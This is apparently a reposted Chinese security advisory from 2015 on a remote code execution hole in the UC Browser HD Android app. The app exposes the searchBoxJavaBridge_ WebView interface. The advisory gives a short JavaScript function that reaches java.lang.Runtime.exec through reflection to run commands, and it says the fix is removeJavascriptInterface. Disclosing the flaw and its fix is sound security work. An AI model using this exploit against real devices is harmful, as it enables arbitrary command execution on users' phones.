UC浏览器HD版本远程代码执行漏洞 - 网站安全

UC浏览器HD版本远程代码执行漏洞 - 网站安全 - 自

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 浏览器来说这种问题还是需要修补的导出searchBoxJavaBridge_好像是跟google的搜索框相关的。在android 4 0手机上测试实际存在，4 2以上版本不存在function execute(cmdArgs){return searchBoxJavaBridge_ get...

浏览器来说这种问题还是需要修补的

导出searchBoxJavaBridge_好像是跟google的搜索框相关的。在android 4.0手机上测试实际存在，4.2以上版本不存在

function execute(cmdArgs)

{

return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

测试页面:http://drops.wooyun.org/webview.html

参见: http://www.2cto.com/Article/201309/241271.html

漏洞证明：

1.jpg

修复方案：

需要把这个接口删除，调用removeJavascriptInterface方法
http://www.2cto.com/Article/201404/296370.html

Android WebView的Js对象注入漏洞解决方案 - 网站安

destoon新版短消息中心xss指谁打谁 - 网站安全 - 自

子栏目

UC浏览器HD版本远程代码执行漏洞 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论